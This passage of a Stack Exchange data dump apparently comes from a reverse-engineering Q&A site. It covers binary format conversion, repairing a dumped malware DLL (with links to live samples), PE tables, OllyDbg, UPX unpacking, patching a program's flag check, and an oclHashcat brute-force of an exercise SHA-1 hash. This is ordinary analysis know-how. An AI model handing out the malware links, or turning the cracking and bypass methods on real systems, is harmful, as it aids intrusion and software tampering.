&quot;bbfIIII&quot;, # dimensions&#xA;    &quot;2&quot;: &quot;bf&quot;, # timestamp&#xA;    &quot;3&quot;: &quot;bIIbffffffff&quot; #vehicle&#xA;}&#xA;&#xA;fmt = &quot;UUUUU&quot;&#xA;line_in_record = 0&#xA;for l in fin:&#xA;    data = l.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).replace(&quot; ********* TIMESTEP&quot;, &quot;&quot;)&#xA;    if line_in_record == len(fmt):&#xA;        for i in range(len(fmt)):&#xA;            if fmt[i] == 'b' or fmt[i] == 'I':&#xA;                numeric = int(read_lines[i], 10)&#xA;            elif fmt[i] == 'f':&#xA;                numeric = float(read_lines[i])&#xA;            else:&#xA;                raise Exception(&quot;Incorrect format&quot;)&#xA;            fo.write(struct.pack(fmt[i], numeric))&#xA;        line_in_record = 0&#xA;    if line_in_record == 0:&#xA;        if data in records:&#xA;            fmt = records[data]&#xA;            read_lines = []&#xA;        else:&#xA;            raise Exception(&quot;Incorrect record type&quot;)&#xA;&#xA;    read_lines.append(data)&#xA;    line_in_record += 1&#xA;&#xA;# writing last acquired record:&#xA;if line_in_record == len(fmt):&#xA;    for i in range(len(fmt)):&#xA;        if fmt[i] == 'b' or fmt[i] == 'I':&#xA;            numeric = int(read_lines[i], 10)&#xA;        elif fmt[i] == 'f':&#xA;            numeric = float(read_lines[i])&#xA;        else:&#xA;            raise Exception(&quot;Incorrect format&quot;)&#xA;        fo.write(struct.pack(fmt[i], numeric))&#xA;&#xA;fin.close()&#xA;fo.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code does &lt;strong&gt;not&lt;/strong&gt; handle big/little endianess and I'd leave this problem for you to solve.&#xA;As far as I understand at this point the rest of the solution is not related to reverse engineering anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-12-08T11:29:21.650" LastActivityDate="2015-12-08T11:29:21.650" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="11473" PostTypeId="2" ParentId="11469" CreationDate="2015-12-08T05:20:44.033" Score="0" Body="&lt;p&gt;hxd alpha version ( search the author's forum ) has a data inspector panel which you can manipulate to understand the format of unknown binary sequences by trial a snap shot of float value 1.04 below &#xA;&lt;a href=&quot;https://i.stack.imgur.com/4VW1X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VW1X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-12-08T05:20:44.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11474" PostTypeId="1" CreationDate="2015-12-08T07:53:59.453" Score="7" ViewCount="4942" Body="&lt;p&gt;I need to analyze a memory dump of a malware module, unfortunately the sample is not the original dll, but the dump of the dll from the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now fixing the &lt;code&gt;sections headers&lt;/code&gt; is fairly easy - i just need to match the &lt;code&gt;Virtual address \ size&lt;/code&gt; to the &lt;code&gt;Raw address \ size&lt;/code&gt; because this is what the PE will get once loaded to memory (Which is the case for the dump)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now there is a different problem, when i open the file on IDA-PRO for example, the memory isnt aligned correctly thus the analysis is incorrect and not all &lt;code&gt;call&lt;/code&gt; functions with relative addresses work properly (they dont point to the right location - or to a location which makes sense in terms of PE size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like the solution of Re-basing the PE on ida is incomplete and does not fix everything as i need it to be.&#xA;Also i would like to fix the PE so i can dynamically load it later with ollydbg (as if i had the original)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&#xA;How exactly would you recommend me to fix the PE Headers and Rebase the program so i can load it successfully?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the VirusTotal-Intelligence users, the Sample MD5 is:&#xA;3bb85abe51b0f96f501d2bb32ec4edef&#xA;SHA256:&#xA;83c95637712cacc0ca280892465a75a3a10a2d8df48dd816ae703bccb15db51d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Samples:&#xA;&lt;a href=&quot;https://www.hybrid-analysis.com/search?query=vxfamily%3AGen:Variant.Terkcop&quot; rel=&quot;noreferrer&quot;&gt;https://www.hybrid-analysis.com/search?query=vxfamily%3AGen:Variant.Terkcop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2015_12_08_ExtraInfo&lt;/strong&gt;:&#xA;@ubnix, I havent yet read the content of the materials you sent me, but im much aware of the importance of IAT - By the way this is exactly the problem when im loading the file on IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dll is being loaded at address 0x10000000 (Thus every section is loaded at 0x10001000 - depending on size and so on respectively, 0x10000000 and forward.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code of the malware is expecting the IAT to be located at 0x05320000, which is not the case obviously. When i try on IDA-PRO to change the location of the IAT Segment (Ctrl + S or ALT + S if i recall) it is crashing my IDA client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously changing the Address would only work as a temporary solution to see the malware statically on IDA pro and not as a solution to run the malware with ollydbg. If i would want to run the malware with olly, i need to somehow make the dll run under the correct address of 0x5320000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changing the BaseAddress of the PE from 0x10000000 to the address i want (Using CFF Explorer), it is still being loaded at 0x10000000 at ollydbg.. no idea why&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2 2015_12_15&lt;/strong&gt;:&#xA;Example of a sample i &quot;fixed&quot; his headers, yet its still not working properly (Problems with all CRT fucntions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original sample:&#xA;&lt;a href=&quot;https://www.hybrid-analysis.com/sample/53dd790b1bd0588e542d33bde49dbf33c6fb7828e91a8d13c416c831108d642c?environmentId=1&quot; rel=&quot;noreferrer&quot;&gt;https://www.hybrid-analysis.com/sample/53dd790b1bd0588e542d33bde49dbf33c6fb7828e91a8d13c416c831108d642c?environmentId=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After i fixed the sample:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/6dz7athzdja94p4/53_fixed_rebase.dll?dl=0&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/6dz7athzdja94p4/53_fixed_rebase.dll?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that both of these files are samples of malware and might cause antivirus to alert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample i fixed is definitely working more properly, and ida can instantly recognize all the functions - yet i think i missed something, because only the CRT functions or functions such as &quot;Init operation&quot; (Like c++ classes initialization) are failing.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="11510" LastEditDate="2015-12-15T07:05:18.923" LastActivityDate="2015-12-15T07:05:18.923" Title="How to Fix a memory dump of a dll - so i dynamically reverse it using olly \ ida" Tags="|ida|windows|ollydbg|pe|memory-dump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11475" PostTypeId="2" ParentId="11466" CreationDate="2015-12-08T14:07:50.503" Score="1" Body="&lt;p&gt;There are a number of ways to disassemble a file. And note that .text is only a name for the segment, you can call it .flups for all the OS cares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things that are interesting is that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The OEP is within that section&lt;/li&gt;&#xA;&lt;li&gt;The section has Read and Execute rights.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A disassembler can just jump to EOP and start reading bytes (opcodes) (&lt;a href=&quot;http://ref.x86asm.net/&quot; rel=&quot;nofollow&quot;&gt;http://ref.x86asm.net/&lt;/a&gt;). It can just start reading from the top down or it can also enumerate the results, eg follow calls/jmps in order to find weird code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the DosHeader there is a reference to where the PE here starts. This one has the OEP for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the radare source code can help you really understanding disassemblers.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2015-12-08T14:07:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11476" PostTypeId="1" CreationDate="2015-12-08T14:18:40.493" Score="2" ViewCount="2843" Body="&lt;p&gt;I start by saying that I'm completely new to the topic of reversing although I have many years of experience with programming in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've some problems with automatic recognition of library functions of a DOS executable compiled with Borland C++ 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the signatures are correctly identified as bc31rtd (and it states 199 as the actual number of applied signatures). So for example &lt;code&gt;strcmp&lt;/code&gt; is correctly identified, colored and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from this I was relying blindly on these library function in the rest of the code until I realized that there was something wrong, this is, for example what I see in for &lt;code&gt;strcpy&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bLRE2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLRE2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which doesn't make sense to me since &lt;code&gt;src&lt;/code&gt; is not used at all. Then &lt;code&gt;&#xA;repne scasb&lt;/code&gt; should scan for the length of the string but the last value placed in &lt;code&gt;di&lt;/code&gt; is &lt;code&gt;[bp+dest+2]&lt;/code&gt; like if both &lt;code&gt;const char*&lt;/code&gt; were not &lt;code&gt;dd&lt;/code&gt; but &lt;code&gt;dw&lt;/code&gt; (so just the offset, without any specified segment, and &lt;code&gt;ds&lt;/code&gt; is used implicitly). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this was getting me crazy I checked the original implementation of the function by opening CC.LIB of BC++3.1 with IDA Pro directly and implementation is different indeed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dSj1z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSj1z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where's the problem here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I alter the function as I want? I tried modifying directly stack variables (Ctrl+K) but then offsets become faulty (eg &lt;code&gt;[bp+8]&lt;/code&gt; marked as red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask sorry if I'm making some trivial wrong assumption that I'm not realizing.&lt;/p&gt;&#xA;" OwnerUserId="14260" LastActivityDate="2015-12-09T14:09:52.077" Title="IDA Pro and recognized library functions" Tags="|ida|dos|flirt-signatures|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11477" PostTypeId="1" CreationDate="2015-12-08T15:22:47.360" Score="1" ViewCount="101" Body="&lt;p&gt;It's not the first time I see code like the following in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [ebp - 4], eax&#xA;mov edx, [ebp - 4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes myself wonder why it hasn't been optimized to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this? (With partial answers)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can it be because the optimize option wasn't set during compilation?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In fact, if we set in GCC compiler the &lt;code&gt;-O2&lt;/code&gt; option, the code changes to a more efficient version&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Is it a common trace from known compilers which one can look for when reverse engineering?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's a trace in the sense that, the compiler, if set to add all debugging symbols and information, will give us the change to debug line by line in the original source code (this can only be true if I understood Peter's comment well). Still remains totally unanswered.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13794" LastEditorUserId="13794" LastEditDate="2015-12-08T17:19:05.957" LastActivityDate="2015-12-08T17:19:05.957" Title="Redundant mov instructions; Why is this?" Tags="|disassembly|compilers|" AnswerCount="0" CommentCount="2" ClosedDate="2015-12-14T05:47:15.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="11478" PostTypeId="2" ParentId="11474" CreationDate="2015-12-08T15:30:35.270" Score="6" Body="&lt;p&gt;This would be a comment but since I still don't have enough reputation for comments, I will leave it as an answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a dump to work correctly, there are a couple of more things you need to do besides fixing the section headers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Travel the data directories and make sure they all point to the proper table&lt;/li&gt;&#xA;&lt;li&gt;Once you are sure the data directories point to the right place make sure that the imports and exports are fixed (among all the other used tables!). Precisely, you need to be sure that the Import Address Table(IAT) and the Export Address Table(EAT) are correct. If the notions like IAT and EAT are foreign to you I suggest you to read about those tables in the official &lt;a href=&quot;https://download.microsoft.com/download/e/b/a/eba1050f-a31d-436b-9281-92cdfeae4b45/pecoff.doc&quot; rel=&quot;noreferrer&quot;&gt;PE file format specification&lt;/a&gt; under &quot;The .idata Section&quot; and &quot;The .edata Section&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Also, since this question is closely related to PE file format, I suggest You to read the following documents: &lt;a href=&quot;http://www.bandwidthco.com/whitepapers/compforensics/binary/eff/An%20In-Depth%20Look%20into%20the%20Win32%20Portable%20Executable%20File%20Format.pdf&quot; rel=&quot;noreferrer&quot;&gt;An In-Depth Look into the Win32 Portable Executable File Format Part 1&lt;/a&gt; and &lt;a href=&quot;http://reversingproject.info/wp-content/uploads/2009/05/an_in-depth_look_into_the_win32_portable_executable_file_format_part_2.pdf&quot; rel=&quot;noreferrer&quot;&gt;An In-Depth Look into the Win32 Portable Executable File Format Part 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know I just posted a lot of material to read but believe me, I am talking from my personal experience, and these resources are a must if You want to understand the PE file format and the procedure of dumping PE files correctly. If you have any more questions feel write to ask and I will answer ASAP.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2015-12-08T15:30:35.270" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="11482" PostTypeId="1" CreationDate="2015-12-09T05:06:09.820" Score="0" ViewCount="1214" Body="&lt;p&gt;I am using Olly 1.10&#xA;How do I set a Breakpoint at VirtualProtect in Ollydbg?&#xA;I understand that this is a simple question, but I am new to Olly and need a simple answer.&lt;/p&gt;&#xA;" OwnerUserId="14360" LastActivityDate="2015-12-09T18:03:38.957" Title="How do I set a Breakpoint at VirtualProtect in Ollydbg?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11483" PostTypeId="1" CreationDate="2015-12-09T06:16:42.483" Score="0" ViewCount="2766" Body="&lt;p&gt;I'm using a program that can pack/compile a folder with files into a single &lt;strong&gt;*.xyz&lt;/strong&gt; file that only that program can decompile and read. In order for the program to create a compiled file the flag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Compile]&#xA;Decompile=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;must be in the file &lt;strong&gt;Meta.ini&lt;/strong&gt;. If not, the file cannot be unpacked/decompiled and there is no way to get back the source files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a compiled file and have lost the source files. I forgot to add the decompile flag, so I currently have no way to unpack the file and continue my work. I can still compile and decompile files using the program as long as I include the flag. The file produced is in the FoxPro FPT format. The program is written in Visual Basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Summarise:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a compiled/packed file that I need to decompile/unpack.&lt;/li&gt;&#xA;&lt;li&gt;I have access to the program that can compile and decompile the file.&lt;/li&gt;&#xA;&lt;li&gt;I don't have the required decompile flag in the file.&lt;/li&gt;&#xA;&lt;li&gt;The file produced is in the FoxPro FPT format.&lt;/li&gt;&#xA;&lt;li&gt;The program is written in Visual Basic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know where the flag needs to go but I have no way of inserting it without first decompiling/unpacking the file (that I know of). When I open the file with Notepad++ it's mostly gibberish (makes sense as the file contains alot of images and geometry data) but the contents of &lt;strong&gt;Meta.ini&lt;/strong&gt; are in plaintext. However, trying to add the flag or replace one of the other flags with it gives &lt;strong&gt;Incorrect String&lt;/strong&gt; errors when the program tries to load the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My options are:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Insert the flag into the file so the &quot;Compile&quot; option becomes available within the program&lt;/li&gt;&#xA;&lt;li&gt;Isolate the compiler (maybe it's all in one dll hidden within the program) and skip the program's check for the flag entirely.&lt;/li&gt;&#xA;&lt;li&gt;Find the flag check that returns false using a memory editor and changing it to true (suggested by @DarthGizka &lt;a href=&quot;https://stackoverflow.com/questions/34155076/decompiling-unpacking-a-file-reverse-engineering-the-compiler&quot;&gt;here&lt;/a&gt;). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How should I go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14356" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-02-21T14:59:48.817" Title="Decompiling/Unpacking a Compiled/Packed File (Or Somehow Inserting a Flag)" Tags="|decompile|visual-basic|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11484" PostTypeId="2" ParentId="11482" CreationDate="2015-12-09T06:51:00.330" Score="2" Body="&lt;p&gt;&lt;strong&gt;ollydbg 1.10&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt;&lt;br&gt;&#xA;Type in the Dialog's Edit box&lt;br&gt;&#xA;&lt;code&gt;kernel32.VirtualProtect&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;ok&lt;/kbd&gt;    &lt;kbd&gt;f2&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using Commandline Plugin&lt;br&gt;&#xA;&lt;kbd&gt;alt+f1&lt;/kbd&gt; -&gt; Type Bp VirtualProtect -&gt; ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ollydbg 2.01&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt;&lt;br&gt;&#xA;start Typing in the Dialog's Edit box&lt;br&gt;&#xA;&lt;code&gt;kernel32.VirtualP&lt;/code&gt;&lt;br&gt;&#xA;the list box will show the apis that match the pattern &#xA;&lt;code&gt;select follow expression&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;f2&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-12-09T18:03:38.957" LastActivityDate="2015-12-09T18:03:38.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11486" PostTypeId="1" CreationDate="2015-12-09T13:55:40.543" Score="9" ViewCount="7548" Body="&lt;p&gt;I am trying to learn to manually unpack an upx packed elf file. The examples I have found are for Windows, mostly with Ollydbg, and as I see the first step is to look for &lt;code&gt;pushad&lt;/code&gt; and &lt;code&gt;popad&lt;/code&gt; instructions. I have a 64 bit executable, so I assume I have to look for a push and pop of all registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I acieved until now is that I can get the entry point with &lt;code&gt;readelf -h&lt;/code&gt;, and set a breakpoint in &lt;code&gt;gdb&lt;/code&gt; at this address. With &lt;code&gt;layout asm&lt;/code&gt; I can follow the disassembled instructions too. As I understand at the &lt;code&gt;popad&lt;/code&gt; instruction the unpacking is done, and I can get the original entry point. However, because on 64bit there is no &lt;code&gt;popad&lt;/code&gt;, I am not sure where the original entry point will be. All registers will be popped or only a few?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also do not know how to  fix imports. &lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2023-01-19T10:17:00.740" Title="How to unpack manually an upx packed elf file" Tags="|linux|upx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11487" PostTypeId="2" ParentId="11476" CreationDate="2015-12-09T14:09:52.077" Score="4" Body="&lt;p&gt;Oh, the happyness of near functions vs. far functions, near pointers vs. far pointers, and mixed models (far functions, near pointers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in the 16 bit world, programs could either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use a maximum of 64 KB code, and 64 KB data, have all pointers use 16 bit, and ignore segment registers. This was called the &lt;code&gt;near&lt;/code&gt; model, because all offsets were within the same segment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;choose to be able to have more than 64 KB code, and more than 64 KB data; make pointers 32 bit (16 bit segment and 16 bit offset), and mess with segment registers whenever using a pointer. This was called the &lt;code&gt;far&lt;/code&gt; model since pointers could point to different segments, in fact, the whole address space&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use a mixed model - near pointers for code, and far pointers for data (more commonly used) or vice versa (i don't know of a single program that used that).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, the problem is, that the &lt;code&gt;strcpy&lt;/code&gt; function from your program seems to be the far-code-near-data version, and the &lt;code&gt;strcpy&lt;/code&gt; from the library seems to be the near-code-far-data version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see how the first function makes sure that &lt;code&gt;es&lt;/code&gt; = &lt;code&gt;ds&lt;/code&gt; (&lt;code&gt;push ds; pop es&lt;/code&gt;) but doesn't mess with segments otherwise. This would make it use 16 bit pointers. The &lt;code&gt;retf&lt;/code&gt; at the end suggests it uses the &lt;code&gt;far&lt;/code&gt; code convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second function uses &lt;code&gt;LES di, [bp+src]&lt;/code&gt;, which loads &lt;code&gt;es&lt;/code&gt; and &lt;code&gt;di&lt;/code&gt; at the same time. This means it uses &lt;code&gt;far&lt;/code&gt; data pointers on the stack, the &lt;code&gt;retn&lt;/code&gt; at the end means it uses the &lt;code&gt;near&lt;/code&gt; code model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened is that, in your disassembled program, IDA saw the &lt;code&gt;retf&lt;/code&gt;, deducted &lt;code&gt;far code&lt;/code&gt;, and probably assumed &lt;code&gt;far data&lt;/code&gt; as well - which is wrong. If data was indeed &lt;code&gt;far&lt;/code&gt;, you'd have 4 bytes for &lt;code&gt;src&lt;/code&gt;, and another 4 bytes for &lt;code&gt;dst&lt;/code&gt;, and this is what ida is showing on your stack. But in fact, the pointers have just 2 bytes each, so &lt;code&gt;dest&lt;/code&gt; is at offset 6, but &lt;code&gt;src&lt;/code&gt; is at offset 8, not 0x0a (10). Which is why accessing &lt;code&gt;src&lt;/code&gt; is shown as &lt;code&gt;dest+2&lt;/code&gt;, and the (wrong) offset 0x0a, which IDA falsely assumes to be &lt;code&gt;src&lt;/code&gt;, isn't used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shown as a picture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is what IDA thinks:           and this is the real stack layout:&#xA;&#xA;+----------------------------+     +--------------------------------+&#xA;|000c src  segment           |     |                                |&#xA;|000a src  offset            |     |                                |&#xA;|0008 dest segment           |     |0008 src                        |&#xA;|0006 dest offset            |     |0006 dest                       |&#xA;|0004 saved bp               |     |0004 saved bp                   |&#xA;|0002 return address segment |     |0002 return address segment     |&#xA;|0000 return address offset  |     |0000 return address offset      |&#xA;+----------------------------+     +--------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fix this, open the function prototype dialog, and change the pointer definitions to &lt;code&gt;char near *&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-12-09T14:09:52.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11488" PostTypeId="1" CreationDate="2015-12-09T15:27:14.850" Score="0" ViewCount="1193" Body="&lt;p&gt;As an exercise we need to reverse a SHA-1 to get the 'original' message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All we know is that the lowercase SHA-1 of the code gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B39ECFBC2C64ADBB7C7A9292EEE31794D28FE224&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, the SHA-1 of the case sensitive code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0D353038908AD0FC8C51A5312BB3E2FEE1CDDF83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, the broken original message (letters can be upper or lowercase):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HV15-G.UJ-1.Q7-DYC2-WLRE-6..J&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my question is, how can I reverse the hashes to get the full original message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips for me?&lt;/p&gt;&#xA;" OwnerUserId="12424" LastEditorUserId="53" LastEditDate="2015-12-09T15:35:33.340" LastActivityDate="2023-12-23T05:08:20.997" Title="Reversing sha1 hash with 2 captured hashes" Tags="|decryption|hash-functions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11489" PostTypeId="2" ParentId="11488" CreationDate="2015-12-09T15:34:57.347" Score="0" Body="&lt;p&gt;By design, SHA-1 can't be reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach would be to brute-force the lowercase version, and then once you've found the missing characters, use them to brute-force the case-sensitive version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, according to &lt;a href=&quot;http://hashcat.net/oclhashcat/&quot; rel=&quot;nofollow&quot;&gt;oclhashcat&lt;/a&gt;, there's no solution to this. See below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;oclHashcat64.exe -m 100 -a 3 -1 ?l?d B39ECFBC2C64ADBB7C7A9292EEE31794D28FE224 hv15-g?1uj-1?1q7-dyc2-wlre-6?1?1j&#xA;oclHashcat v2.00 starting...&#xA;&#xA;Device #1: Hawaii, 4096MB, 947Mhz, 40MCU&#xA;&#xA;Hashes: 1 hashes; 1 unique digests, 1 unique salts&#xA;Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates&#xA;Applicable Optimizers:&#xA;* Zero-Byte&#xA;* Precompute-Init&#xA;* Precompute-Merkle-Demgard&#xA;* Early-Skip&#xA;* Not-Salted&#xA;* Not-Iterated&#xA;* Single-Hash&#xA;* Single-Salt&#xA;* Brute-Force&#xA;* Scalar-Mode&#xA;* Raw-Hash&#xA;Watchdog: Temperature abort trigger set to 90c&#xA;Watchdog: Temperature retain trigger set to 80c&#xA;Device #1: Kernel ./kernels/4098/m00100_a3.Hawaii_1912.5_1912.5 (VM)_1449240640.kernel (196520 bytes)&#xA;Device #1: Kernel ./kernels/4098/markov_be_v1.Hawaii_1912.5_1912.5 (VM)_1449240640.kernel (36168 bytes)&#xA;&#xA;&#xA;INFO: approaching final keyspace, workload adjusted&#xA;&#xA;&#xA;Session.Name...: oclHashcat&#xA;Status.........: Exhausted&#xA;Input.Mode.....: Mask (hv15-g?1uj-1?1q7-dyc2-wlre-6?1?1j) [29]&#xA;Hash.Target....: b39ecfbc2c64adbb7c7a9292eee31794d28fe224&#xA;Hash.Type......: SHA1&#xA;Time.Started...: 0 secs&#xA;Time.Estimated.: 0 secs&#xA;Speed.GPU.#1...:   106.5 MH/s&#xA;Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts&#xA;Progress.......: 1679616/1679616 (100.00%)&#xA;Rejected.......: 0/1679616 (0.00%)&#xA;HWMon.GPU.#1...: 19% Util, 53c Temp, 40% Fan&#xA;&#xA;Started: Wed Dec 09 10:18:50 2015&#xA;Stopped: Wed Dec 09 10:18:52 2015&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-12-09T16:20:20.083" 